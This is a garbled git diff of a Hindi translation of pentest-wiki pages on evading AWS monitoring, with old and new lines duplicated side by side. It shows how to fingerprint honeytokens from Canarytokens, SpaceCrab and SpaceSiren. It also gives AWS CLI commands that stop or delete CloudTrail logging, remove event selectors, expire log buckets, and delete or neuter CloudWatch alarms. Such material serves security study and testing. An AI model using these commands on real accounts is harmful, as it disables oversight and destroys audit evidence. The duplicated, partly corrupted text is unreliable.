हालांकि, [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) द्वारा बनाए गए Honeytokens या तो पहचानने योग्य खाता नाम का उपयोग कर रहे हैं या सभी ग्राहकों के लिए एक ही AWS खाता ID का उपयोग कर रहे हैं। इसलिए, यदि आप खाता नाम और/या खाता ID को बिना Cloudtrail के कोई लॉग बनाए प्राप्त कर सकते हैं, **तो आप जान सकते हैं कि कुंजी एक Honeytoken है या नहीं**
हालांकि, [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) द्वारा बनाए गए हनीटोकन या तो पहचानने योग्य खाता नाम का उपयोग कर रहे हैं या सभी ग्राहकों के लिए एक ही AWS खाता आईडी का उपयोग कर रहे हैं। इसलिए, यदि आप खाता नाम और/या खाता आईडी को बिना Cloudtrail के कोई लॉग बनाए प्राप्त कर सकते हैं, तो **आप जान सकते हैं कि कुंजी एक हनीटोकन है या नहीं**
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) के पास कुछ नियम हैं यह पता लगाने के लिए कि क्या एक कुंजी [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)** से संबंधित है:**
- यदि **`canarytokens.org`** भूमिका नाम में दिखाई देता है या खाता ID **`534261010715`** त्रुटि संदेश में दिखाई देती है।
- यदि **`canarytokens.org`** भूमिका नाम में दिखाई देता है या खाता आईडी **`534261010715`** त्रुटि संदेश में दिखाई देती है।
- हाल ही में उनका परीक्षण करते समय, वे खाता **`717712589309`** का उपयोग कर रहे हैं और नाम में अभी भी **`canarytokens.com`** स्ट्रिंग है।
- यदि **`SpaceCrab`** त्रुटि संदेश में भूमिका नाम में दिखाई देता है
- **SpaceSiren** उपयोगकर्ता नाम उत्पन्न करने के लिए **uuids** का उपयोग करता है: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- यदि **नाम यादृच्छिक रूप से उत्पन्न होता है**, तो यह एक HoneyToken होने की उच्च संभावनाएँ हैं।
- यदि **नाम यादृच्छिक रूप से उत्पन्न होता है**, तो यह एक हनीटोकन होने की उच्च संभावनाएँ हैं।
#### कुंजी ID से खाता ID प्राप्त करें
#### कुंजी आईडी से खाता आईडी प्राप्त करें
आप **एक्सेस कुंजी** के अंदर **कोडित** से **खाता ID** प्राप्त कर सकते हैं जैसे कि [**यहां समझाया गया है**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) और अपने Honeytokens AWS खातों की सूची के साथ खाता ID की जांच करें:
आप **एक्सेस कुंजी** के अंदर **कोडित** से **खाता आईडी** प्राप्त कर सकते हैं जैसे कि [**यहां समझाया गया है**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) और अपने हनीटोकन AWS खातों की सूची के साथ खाता आईडी की जांच करें:
```python
import base64
import binascii
@@ -193,22 +193,22 @@ Check more information in the [**orginal research**](https://medium.com/@TalBeer
अतीत में कुछ **AWS सेवाएँ थीं जो CloudTrail को लॉग नहीं भेजती थीं** (यहाँ एक [सूची खोजें](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html))। उन सेवाओं में से कुछ **त्रुटि** के साथ **कुंजी भूमिका का ARN** प्रदान करेंगी यदि कोई अनधिकृत (हनीटोकन कुंजी) इसे एक्सेस करने की कोशिश करता है।
इस तरह, एक **हमलावर बिना किसी लॉग को ट्रिगर किए कुंजी का ARN प्राप्त कर सकता है**। ARN में हमलावर **AWS खाता आईडी और नाम** देख सकता है, हनीटोकन की कंपनियों के खाते की आईडी और नाम जानना आसान है, इसलिए इस तरह एक हमलावर यह पहचान सकता है कि क्या टोकन एक HoneyToken है।
इस तरह, एक **हमलावर बिना किसी लॉग को ट्रिगर किए कुंजी का ARN प्राप्त कर सकता है**। ARN में हमलावर **AWS खाता आईडी और नाम** देख सकता है, हनीटोकन की कंपनियों के खात आईडी और नाम जानना आसान है, इसलिए इस तरह एक हमलावर यह पहचान सकता है कि क्या टोकन एक HoneyToken है।
![](<../../../../images/image (93).png>)
> [!CAUTION]
> ध्यान दें कि सभी सार्वजनिक APIs जो CloudTrail लॉग नहीं बना रहीं, अब ठीक कर द हैं, इसलिए शायद आपको अपन खुद क खोज करनी होग...
> ध्यान दें कि सभी सार्वजनिक APIs जो CloudTrail लॉग नहीं बना रह, अब ठीक कर दिए हैं, इसलिए शायद आपको अपन खुद क खोजना होग...
>
> अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/) देखें।
### तीसरी अवसंरचना तक पहुँच
कुछ AWS सेवाएँ **कुछ अवसंरचना उत्पन्न करेंगी** जैसे **डेटाबेस** या **कुबरनेट्स** क्लस्टर (EKS)। एक उपयोगकर्ता **सीधे उन सेवाओं से बात कर रहा है** (जैसे कुबरनेट्स API) **AWS API का उपयोग नहीं करेगा**, इसलिए CloudTrail इस संचार को नहीं देख पाएगा।
कुछ AWS सेवाएँ **कुछ अवसंरचना उत्पन्न करेंगी** जैसे **डेटाबेस** या **कुबरनेट्स** क्लस्टर (EKS)। एक उपयोगकर्ता **सीधे उन सेवाओं से बात कर रहा है** (जैसे कुबरनेट्स API) **AWS API का उपयोग नहीं करेगा**, इसलिए CloudTrail इस संचार को नहीं देख पाएगा।
इसलिए, EKS तक पहुँच रखने वाला एक उपयोगकर्ता जिसने EKS API का URL खोज लिया है, वह स्थानीय रूप से एक टोकन उत्पन्न कर सकता है और **API सेवा से सीधे बात कर सकता है बिना Cloudtrail द्वारा पता लगाए**
अधिक जानकारी के लिए:
अधिक जानकारी में:
{{#ref}}
../../aws-post-exploitation/aws-eks-post-exploitation.md
@@ -224,7 +224,7 @@ aws cloudtrail delete-trail --name [trail-name]
```bash
aws cloudtrail stop-logging --name [trail-name]
```
#### मल्टी-रीजन लॉगिंग बंद करें
#### मल्टी-रीजन लॉगिंग को अक्षम करें
```bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
```
@@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
```
पहले उदाहरण में, एकल इवेंट चयनकर्ता को एक JSON एरे के रूप में एकल ऑब्जेक्ट के साथ प्रदान किया गया है। `"ReadWriteType": "ReadOnly"` यह संकेत करता है कि **इवेंट चयनकर्ता को केवल पढ़ने के लिए इवेंट कैप्चर करना चाहिए** (इसलिए CloudTrail अंतर्दृष्टि **लिखने के इवेंट की जांच नहीं करेगी** उदाहरण के लिए)।
पहले उदाहरण में, एकल इवेंट चयनकर्ता को एक JSON एरे के रूप में एकल ऑब्जेक्ट के साथ प्रदान किया गया है। `"ReadWriteType": "ReadOnly"` यह संकेत करता है कि **इवेंट चयनकर्ता केवल पढ़ने के लिए इवेंट कैप्चर करना चाहिए** (इसलिए CloudTrail अंतर्दृष्टि **लिखने के इवेंट की जांच नहीं करेगी** उदाहरण के लिए)।
आप अपने विशिष्ट आवश्यकताओं के आधार पर इवेंट चयनकर्ता को अनुकूलित कर सकते हैं।
@@ -244,7 +244,7 @@ aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '
```bash
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
```
### बकेट कॉन्फ़िगरेशन में संशोध
### बकेट कॉन्फ़िगरेशन को संशोधित करना
- S3 बकेट को हटाएँ
- बकेट नीति को बदलें ताकि CloudTrail सेवा से किसी भी लेखन को अस्वीकार किया जा सके

View File

@@ -6,7 +6,7 @@
**CloudWatch** **निगरानी** और संचालन **डेटा** को लॉग/मेट्रिक्स/इवेंट के रूप में एकत्र करता है, जो **AWS संसाधनों**, अनुप्रयोगों और सेवाओं का **एकीकृत दृश्य** प्रदान करता है।\
CloudWatch लॉग इवेंट में **प्रत्येक लॉग लाइन पर 256KB का आकार सीमा** होती है।\
यह **उच्च संकल्प अलार्म** सेट कर सकता है, **लॉग** और **मेट्रिक्स** को एक साथ दृश्य में दिखा सकता है, स्वचालित क्रियाएँ कर सकता है, समस्याओं का समाधान कर सकता है, और अनुप्रयोगों को अनुकूलित करने के लिए अंतर्दृष्टि खोज सकता है।
यह **उच्च संकल्प अलार्म** सेट कर सकता है, **लॉग** और **मेट्रिक्स** को एक साथ दृश्य बना सकता है, स्वचालित क्रियाएँ कर सकता है, समस्याओं का समाधान कर सकता है, और अनुप्रयोगों को अनुकूलित करने के लिए अंतर्दृष्टि खोज सकता है।
आप उदाहरण के लिए CloudTrail से लॉग की निगरानी कर सकते हैं। जिन घटनाओं की निगरानी की जाती है:
@@ -27,37 +27,37 @@ CloudWatch लॉग इवेंट में **प्रत्येक लॉ
### Metrics
मेट्रिक्स समय के साथ एकत्रित डेटा बिंदु होते हैं जो AWS संसाधनों के प्रदर्शन या उपयोग को दर्शाते हैं। मेट्रिक्स को AWS सेवाओं, कस्टम अनुप्रयोगों, या तृतीय-पक्ष एकीकरणों से एकत्र किया जा सकता है।
मेट्रिक्स समय के साथ एकत्रित डेटा बिंदु होते हैं जो AWS संसाधनों के प्रदर्शन या उपयोग को दर्शाते हैं। मेट्रिक्स को AWS सेवाओं, कस्टम अनुप्रयोगों, या तृतीय-पक्ष एकीकरण से एकत्र किया जा सकता है।
- **उदाहरण**: CPUUtilization, NetworkIn, DiskReadOps।
### Dimensions
Dimensions कुंजी-मूल्य जोड़े होते हैं जो मेट्रिक्स का हिस्सा होते हैं। वे एक मेट्रिक की अद्वितीय पहचान करने में मदद करते हैं और अतिरिक्त संदर्भ प्रदान करते हैं, 30 सबसे अधिक संख्या के Dimensions होत है जो एक मेट्रिक के साथ जुड़ हो सकत है। Dimensions विशिष्ट विशेषताओं के आधार पर मेट्रिक्स को फ़िल्टर और समेकित करने की अनुमति भी देते हैं।
Dimensions मेट्रिक्स का हिस्सा होते हैं जो कुंजी-मूल्य जोड़े होते हैं। वे एक मेट्रिक की अद्वितीय पहचान करने में मदद करते हैं और अतिरिक्त संदर्भ प्रदान करते हैं, जिसमें 30 सबसे अधिक संख्या होत है जो एक मेट्रिक के साथ जुड़ हो सकत है। Dimensions विशिष्ट विशेषताओं के आधार पर मेट्रिक्स को फ़िल्टर और समेकित करने की अनुमति भी देते हैं।
- **उदाहरण**: EC2 इंस्टेंस के लिए, Dimensions में InstanceId, InstanceType, और AvailabilityZone शामिल हो सकते हैं।
- **उदाहरण**: EC2 इंस्टेंस के लिए, dimensions में InstanceId, InstanceType, और AvailabilityZone शामिल हो सकते हैं।
### Statistics
Statistics मेट्रिक डेटा पर किए गए गणितीय गणनाएँ हैं जो इसे समय के साथ संक्षिप्त करती हैं। सामान्य Statistics में Average, Sum, Minimum, Maximum, और SampleCount शामिल हैं।
Statistics मेट्रिक डेटा पर किए गए गणितीय गणनाएँ हैं जो इसे समय के साथ संक्षिप्त करती हैं। सामान्य सांख्यिकी में औसत, योग, न्यूनतम, अधिकतम, और नमूना गणना शामिल हैं।
- **उदाहरण**: एक घंटे की अवधि में CPU उपयोग का औसत निकालना।
- **उदाहरण**: एक घंटे की अवधि में औसत CPU उपयोग की गणना करना।
### Units
Units मेट्रिक से जुड़े मापने के प्रकार होते हैं। Units मेट्रिक डेटा को संदर्भ और अर्थ प्रदान करने में मदद करते हैं। सामान्य Units में Percent, Bytes, Seconds, Count शामिल हैं।
Units मेट्रिक से जुड़े मापने के प्रकार होते हैं। Units मेट्रिक डेटा को संदर्भ और अर्थ प्रदान करने में मदद करते हैं। सामान्य इकाइयों में प्रतिशत, बाइट्स, सेकंड, गणना शामिल हैं।
- **उदाहरण**: CPUUtilization को Percent में मापा जा सकता है, जबकि NetworkIn को Bytes में मापा जा सकता है।
- **उदाहरण**: CPUUtilization प्रतिशत में मापा जा सकता है, जबकि NetworkIn बाइट्स में मापा जा सकता है।
## CloudWatch Features
### Dashboard
**CloudWatch Dashboards** आपके AWS CloudWatch मेट्रिक्स के अनुकूलन योग्य **दृश्यों** को प्रदान करते हैं। डेटा को दृश्य में देखने और संसाधनों की निगरानी करने के लिए विभिन्न AWS सेवाओं से विभिन्न मेट्रिक्स को संयोजित करते हुए डैशबोर्ड बनाने और कॉन्फ़िगर करना संभव है
**CloudWatch डैशबोर्ड** आपके AWS CloudWatch मेट्रिक्स के अनुकूलन योग्य **दृश्यों** को प्रदान करते हैं। डेटा को दृश्य बनाने और संसाधनों की निगरानी के लिए डैशबोर्ड बनाने और कॉन्फ़िगर करना संभव है, विभिन्न AWS सेवाओं से विभिन्न मेट्रिक्स को संयोजित करते हुए।
**मुख्य विशेषताएँ**:
- **Widgets**: डैशबोर्ड के निर्माण खंड, जिसमें ग्राफ़, पाठ, अलार्म, और अधिक शामिल हैं।
- **विजेट्स**: डैशबोर्ड के निर्माण खंड, जिसमें ग्राफ़, पाठ, अलार्म, और अधिक शामिल हैं।
- **अनुकूलन**: लेआउट और सामग्री को विशिष्ट निगरानी आवश्यकताओं के अनुसार अनुकूलित किया जा सकता है।
**उदाहरण उपयोग मामला**:
@@ -66,25 +66,25 @@ Units मेट्रिक से जुड़े मापने के प्
### Metric Stream and Metric Data
**Metric Streams** AWS CloudWatch में आपको लगभग वास्तविक समय में अपने पसंद के गंतव्य पर CloudWatch मेट्रिक्स को निरंतर स्ट्रीम करने की अनुमति देते हैं। यह उन्नत निगरानी, विश्लेषण, और AWS के बाहर के उपकरणों का उपयोग करके कस्टम डैशबोर्ड के लिए विशेष रूप से उपयोगी है।
AWS CloudWatch में **Metric Streams** आपको लगभग वास्तविक समय में अपने पसंद के गंतव्य पर CloudWatch मेट्रिक्स को निरंतर स्ट्रीम करने की अनुमति देते हैं। यह उन्नत निगरानी, विश्लेषण, और AWS के बाहर के उपकरणों का उपयोग करके कस्टम डैशबोर्ड के लिए विशेष रूप से उपयोगी है।
**Metric Data** Metric Streams के भीतर उन वास्तविक मापों या डेटा बिंदुओं को संदर्भित करता है जो स्ट्रीम किए जा रहे हैं। ये डेटा बिंदु CPU उपयोग, मेमोरी उपयोग, आदि जैसे विभिन्न मेट्रिक्स का प्रतिनिधित्व करते हैं।
**उदाहरण उपयोग मामला**:
- उन्नत विश्लेषण के लिए एक तृतीय-पक्ष निगरानी सेवा को वास्तविक समय के मेट्रिक्स भेजना।
- दीर्घकालिक भंडारण और अनुपालन के लिए Amazon S3 बकेट में मेट्रिक्स का संग्रहण करना
- दीर्घकालिक भंडारण और अनुपालन के लिए एक Amazon S3 बकेट में मेट्रिक्स का संग्रहण।
### Alarm
**CloudWatch Alarms** आपक मेट्रिक्स की निगरानी करते हैं और पूर्वनिर्धारित थ्रेशोल्ड के आधार पर क्रियाएँ करते हैं। जब कोई मेट्रिक एक थ्रेशोल्ड को पार करता है, तो अलार्म एक या एक से अधिक क्रियाएँ कर सकता है जैसे कि SNS के माध्यम से सूचनाएँ भेजना, ऑटो-स्केलिंग नीति को सक्रिय करना, या AWS Lambda फ़ंक्शन चलाना।
**CloudWatch अलार्म** आपक मेट्रिक्स की निगरानी करते हैं और पूर्वनिर्धारित थ्रेशोल्ड के आधार पर क्रियाएँ करते हैं। जब कोई मेट्रिक एक थ्रेशोल्ड को पार करता है, तो अलार्म एक या एक से अधिक क्रियाएँ कर सकता है जैसे कि SNS के माध्यम से सूचनाएँ भेजना, ऑटो-स्केलिंग नीति को सक्रिय करना, या AWS Lambda फ़ंक्शन चलाना।
**मुख्य घटक**:
- **Threshold**: वह मान जिस पर अलार्म सक्रिय होता है।
- **Evaluation Periods**: वह अवधि जिसमें डेटा का मूल्यांकन किया जाता है।
- **Datapoints to Alarm**: अलार्म को सक्रिय करने के लिए आवश्यक पहुंची थ्रेशोल्ड के साथ अवधि की संख्या।
- **Actions**: जब अलार्म स्थिति सक्रिय होती है तो क्या होता है (जैसे, SNS के माध्यम से सूचित करना)।
- **थ्रेशोल्ड**: वह मान जिस पर अलार्म सक्रिय होता है।
- **मूल्यांकन अवधि**: वह अवधि जिसमें डेटा का मूल्यांकन किया जाता है।
- **अलार्म के लिए डेटा बिंदु**: अलार्म को सक्रिय करने के लिए आवश्यक पहुंची थ्रेशोल्ड के साथ अवधि की संख्या।
- **क्रियाएँ**: जब अलार्म स्थिति सक्रिय होती है तो क्या होता है (जैसे, SNS के माध्यम से सूचित करना)।
**उदाहरण उपयोग मामला**:
@@ -92,12 +92,12 @@ Units मेट्रिक से जुड़े मापने के प्
### Anomaly Detectors
**Anomaly Detectors** मशीन लर्निंग का उपयोग करके आपक मेट्रिक्स में स्वचालित रूप से विसंगतियों का पता लगाते हैं। आप किसी भी CloudWatch मेट्रिक पर विसंगति पहचान लागू कर सकते हैं ताकि सामान्य पैटर्न से विचलन की पहचान की जा सके जो समस्याओं का संकेत दे सकता है।
**Anomaly Detectors** मशीन लर्निंग का उपयोग करके आपक मेट्रिक्स में स्वचालित रूप से विसंगतियों का पता लगाते हैं। आप किसी भी CloudWatch मेट्रिक पर विसंगति पहचान लागू कर सकते हैं ताकि सामान्य पैटर्न से विचलन की पहचान की जा सके जो समस्याओं का संकेत दे सकता है।
**मुख्य घटक**:
- **Model Training**: CloudWatch ऐतिहासिक डेटा का उपयोग करके एक मॉडल को प्रशिक्षित करता है और यह स्थापित करता है कि सामान्य व्यवहार कैसा दिखता है।
- **Anomaly Detection Band**: एक मेट्रिक के लिए अपेक्षित मानों की सीमा का दृश्य प्रतिनिधित्व।
- **मॉडल प्रशिक्षण**: CloudWatch ऐतिहासिक डेटा का उपयोग करके एक मॉडल को प्रशिक्षित करता है और यह स्थापित करता है कि सामान्य व्यवहार कैसा दिखता है।
- **विसंगति पहचान बैंड**: एक मेट्रिक के लिए अपेक्षित मानों की सीमा का दृश्य प्रतिनिधित्व।
**उदाहरण उपयोग मामला**:
@@ -107,7 +107,7 @@ Units मेट्रिक से जुड़े मापने के प्
**Insight Rules** आपको अपने मेट्रिक डेटा में रुझानों की पहचान करने, स्पाइक्स का पता लगाने, या अन्य रुचि के पैटर्न को पहचानने की अनुमति देते हैं, **शक्तिशाली गणितीय अभिव्यक्तियों** का उपयोग करके उन स्थितियों को परिभाषित करते हैं जिनके तहत क्रियाएँ की जानी चाहिए। ये नियम आपको अपने संसाधन प्रदर्शन और उपयोग में विसंगतियों या असामान्य व्यवहार की पहचान करने में मदद कर सकते हैं।
**Managed Insight Rules** पूर्व-निर्धारित **insight rules हैं जो AWS द्वारा प्रदान किए जाते हैं**। इन्हें विशिष्ट AWS सेवाओं या सामान्य उपयोग मामलों की निगरानी के लिए डिज़ाइन किया गया है और इन्हें विस्तृत कॉन्फ़िगरेशन की आवश्यकता के बिना सक्षम किया जा सकता है।
**Managed Insight Rules** पूर्व-निर्धारित **insight rules हैं जो AWS द्वारा प्रदान किए जाते हैं**। इन्हें विशिष्ट AWS सेवाओं या सामान्य उपयोग मामलों की निगरानी के लिए डिज़ाइन किया गया है और बिना विस्तृत कॉन्फ़िगरेशन की आवश्यकता के सक्षम किया जा सकता है।
**उदाहरण उपयोग मामला**:
@@ -115,26 +115,26 @@ Units मेट्रिक से जुड़े मापने के प्
### CloudWatch Logs <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
अनुप्रयोगों और सिस्टम से **लॉग को एकत्रित और निगरानी** करने की अनुमति देता है **AWS सेवाओं** (जिसमें CloudTrail शामिल है) और **ऐप्स/सिस्टम** से (**CloudWatch एजेंट** को एक होस्ट पर स्थापित किया जा सकता है)। लॉग को **अनिश्चितकालीन** (लॉग समूह सेटिंग्स के आधार पर) संग्रहीत किया जा सकता है और निर्यात किया जा सकता है।
अनुप्रयोगों और सिस्टमों से **लॉग को एकत्रित और निगरानी** करने की अनुमति देता है **AWS सेवाओं** (जिसमें CloudTrail शामिल है) और **ऐप्स/सिस्टम** से (**CloudWatch एजेंट** को एक होस्ट पर स्थापित किया जा सकता है)। लॉग को **अनिश्चितकालीन** (लॉग समूह सेटिंग्स के आधार पर) संग्रहीत किया जा सकता है और निर्यात किया जा सकता है।
**तत्व**:
| Term | Definition |
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Log Group** | एक **लॉग स्ट्रीम का संग्रह** जो समान रिटेंशन, निगरानी, और एक्सेस नियंत्रण सेटिंग्स साझा करता है |
| **Log Stream** | एक **लॉग इवेंट्स** का अनुक्रम जो **समान स्रोत** साझा करता है |
| **Subscription Filters** | एक **फिल्टर पैटर्न परिभाषित करें जो एक विशेष लॉग समूह में घटनाओं से मेल खाता है**, उन्हें Kinesis Data Firehose स्ट्रीम, Kinesis स्ट्रीम, या एक Lambda फ़ंक्शन पर भेजें |
| **Subscription Filters** | एक **फिल्टर पैटर्न परिभाषित करें जो एक विशेष लॉग समूह में घटनाओं से मेल खाता है**, उन्हें Kinesis Data Firehose स्ट्रीम, Kinesis स्ट्रीम, या एक Lambda फ़ंक्शन पर भेजें |
### CloudWatch Monitoring & Events
CloudWatch **बुनियादी** डेटा को **हर 5 मिनट** में एकत्र करता है ( **विस्तृत** एक **हर 1 मिनट** में करता है)। एकत्रण के बाद, यह **अलार्म के थ्रेशोल्ड की जांच करता है** यदि इसे एक को सक्रिय करने की आवश्यकता है।\
CloudWatch **बुनियादी** हर 5 मिनट में डेटा को एकत्रित करता है ( **विस्तृत** एक हर 1 मिनट में ऐसा करता है)। एकत्रण के बाद, यह **अलार्म के थ्रेशोल्ड की जांच करता है** यदि इसे एक को सक्रिय करने की आवश्यकता है।\
इस मामले में, CloudWatch एक इवेंट भेजने और कुछ स्वचालित क्रियाएँ करने के लिए तैयार हो सकता है (AWS Lambda फ़ंक्शन, SNS विषय, SQS कतारें, Kinesis स्ट्रीम)
### Agent Installation
आप अपने मशीनों/कंटेनरों के अंदर एजेंट स्थापित कर सकते हैं ताकि स्वचालित रूप से लॉग को CloudWatch में वापस भेजा जा सके।
आप अपने मशीनों/कंटेनरों के अंदर एजेंट स्थापित कर सकते हैं ताकि स्वचालित रूप से लॉग को CloudWatch पर वापस भेजा जा सके।
- **एक** **भूमिका** बनाएं और **इंस्टेंस** से इसे संलग्न करें जिसमें CloudWatch को इंस्टेंस से डेटा एकत्र करने की अनुमति देने वाले अनुमतियाँ हों, इसके अलावा AWS सिस्टम प्रबंधक SSM के साथ बातचीत करने की अनुमति हो (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
- **एजेंट** को EC2 इंस्टेंस पर **डाउनलोड** और **स्थापित** करें ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). आप इसे EC2 के अंदर से डाउनलोड कर सकते हैं या AWS सिस्टम प्रबंधक का उपयोग करके स्वचालित रूप से स्थापित कर सकते हैं, पैकेज AWS-ConfigureAWSPackage का चयन करके
- **एक** **भूमिका** बनाएं और **इंस्टेंस** से संलग्न करें जिसमें CloudWatch को इंस्टेंस से डेटा एकत्र करने की अनुमति देने वाले अनुमतियाँ हों, इसके अलावा AWS सिस्टम प्रबंधक SSM के साथ बातचीत करने की अनुमति हो (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
- **एजेंट** को EC2 इंस्टेंस पर **डाउनलोड** और **स्थापित** करें ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). आप इसे EC2 के अंदर से डाउनलोड कर सकते हैं या AWS सिस्टम प्रबंधक का उपयोग करके स्वचालित रूप से स्थापित कर सकते हैं, पैकेज AWS-ConfigureAWSPackage का चयन करते हुए
- CloudWatch एजेंट को **कॉन्फ़िगर** और **शुरू करें**
एक लॉग समूह में कई स्ट्रीम होते हैं। एक स्ट्रीम में कई इवेंट होते हैं। और प्रत्येक स्ट्रीम के भीतर, इवेंट क्रम में होने की गारंटी होती है।
@@ -216,17 +216,17 @@ aws events list-event-buses
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
इस अनुमति के साथ एक हमलावर एक संगठन की निगरानी और अलर्टिंग अवसंरचना को महत्वपूर्ण रूप से कमजोर कर सकता है। मौजूदा अलार्मों को हटाकर, एक हमलावर महत्वपूर्ण प्रदर्शन मुद्दों, सुरक्षा उल्लंघनों, या संचालन विफलताओं के बारे में प्रशासकों को सूचित करने वाले महत्वपूर्ण अलर्ट को निष्क्रिय कर सकता है। इसके अलावा, मेट्रिक अलार्म बनाने या संशोधित करके, हमलावर प्रशासकों को गलत अलर्ट के साथ भटका सकता है या वैध अलार्मों को चुप करा सकता है, प्रभावी रूप से दुर्भावनापूर्ण गतिविधियों को छिपा सकता है और वास्तविक घटनाओं के लिए समय पर प्रतिक्रियाओं को रोक सकता है।
इस अनुमति के साथ एक हमलावर एक संगठन की निगरानी और अलर्टिंग अवसंरचना को महत्वपूर्ण रूप से कमजोर कर सकता है। मौजूदा अलार्मों को हटाकर, एक हमलावर महत्वपूर्ण प्रदर्शन मुद्दों, सुरक्षा उल्लंघनों, या संचालन विफलताओं के बारे में प्रशासकों को सूचित करने वाले महत्वपूर्ण अलर्ट को निष्क्रिय कर सकता है। इसके अलावा, मेट्रिक अलार्म बनाने या संशोधित करके, हमलावर झूठे अलर्ट के साथ प्रशासकों को भ्रामित कर सकता है या वैध अलार्मों को चुप करा सकता है, प्रभावी रूप से दुर्भावनापूर्ण गतिविधियों को छिपा सकता है और वास्तविक घटनाओं के लिए समय पर प्रतिक्रियाओं को रोक सकता है।
इसके अतिरिक्त, **`cloudwatch:PutCompositeAlarm`** अनुमति के साथ, एक हमलावर समग्र अलार्मों का एक लूप या चक्र बनाने में सक्षम होगा, जहां समग्र अलार्म A समग्र अलार्म B पर निर्भर करता है, और समग्र अलार्म B भी समग्र अलार्म A पर निर्भर करता है। इस परिदृश्य में, चक्र का हिस्सा होने वाले किसी भी समग्र अलार्म को हटाना संभव नहीं है क्योंकि हमेशा एक समग्र अलार्म होता है जो उस अलार्म पर निर्भर करता है जिसे आप हटाना चाहते हैं।
इसके अलावा, **`cloudwatch:PutCompositeAlarm`** अनुमति के साथ, एक हमलावर समग्र अलार्मों का एक लूप या चक्र बनाने में सक्षम होगा, जहां समग्र अलार्म A समग्र अलार्म B पर निर्भर करता है, और समग्र अलार्म B भी समग्र अलार्म A पर निर्भर करता है। इस परिदृश्य में, चक्र का हिस्सा होने वाले किसी भी समग्र अलार्म को हटाना संभव नहीं है क्योंकि हमेशा एक समग्र अलार्म होता है जो उस अलार्म पर निर्भर करता है जिसे आप हटाना चाहते हैं।
```bash
aws cloudwatch put-metric-alarm --cli-input-json <value> | --alarm-name <value> --comparison-operator <value> --evaluation-periods <value> [--datapoints-to-alarm <value>] [--threshold <value>] [--alarm-description <value>] [--alarm-actions <value>] [--metric-name <value>] [--namespace <value>] [--statistic <value>] [--dimensions <value>] [--period <value>]
aws cloudwatch delete-alarms --alarm-names <value>
aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--no-actions-enabled | --actions-enabled [--alarm-actions <value>] [--insufficient-data-actions <value>] [--ok-actions <value>] ]
```
उदाहरण दिखाता है कि एक मैट्रिक अलार्म को अप्रभावी कैसे बनाया जाए:
उदाहरण दिखाता है कि एक मैट्रिक अलार्म को कैसे अप्रभावी बनाया जाए:
- यह मैट्रिक अलार्म एक विशिष्ट EC2 इंस्टेंस की औसत CPU उपयोगिता की निगरानी करता है, हर 300 सेकंड में मैट्रिक का मूल्यांकन करता है और 6 मूल्यांकन अवधियों (कुल 30 मिनट) की आवश्यकता होती है। यदि औसत CPU उपयोगिता इन अवधियों में से कम से कम 4 के लिए 60% से अधिक हो जाती है, तो अलार्म ट्रिगर होगा और निर्दिष्ट SNS विषय को एक सूचना भेजेगा।
- यह मैट्रिक अलार्म एक विशिष्ट EC2 इंस्टेंस की औसत CPU उपयोगिता की निगरानी करता है, हर 300 सेकंड में मैट्रिक का मूल्यांकन करता है और 6 मूल्यांकन अवधियों की आवश्यकता होती है (कुल 30 मिनट)। यदि औसत CPU उपयोगिता इन अवधियों में से कम से कम 4 के लिए 60% से अधिक हो जाती है, तो अलार्म ट्रिगर होगा और निर्दिष्ट SNS विषय को एक सूचना भेजेगा।
- थ्रेशोल्ड को 99% से अधिक, पीरियड को 10 सेकंड, मूल्यांकन अवधियों को 8640 (क्योंकि 10 सेकंड के 8640 अवधियों का मतलब 1 दिन है), और डाटापॉइंट्स को अलार्म के लिए 8640 सेट करके, CPU उपयोगिता को पूरे 24 घंटे की अवधि में हर 10 सेकंड में 99% से अधिक होना आवश्यक होगा ताकि अलार्म ट्रिगर हो सके।
{{#tabs }}
@@ -254,7 +254,7 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
```
{{#endtab }}
{{#tab name="Modified Metric Alarm" }}
{{#tab name="संशोधित मैट्रिक अलार्म" }}
```json
{
"Namespace": "AWS/EC2",
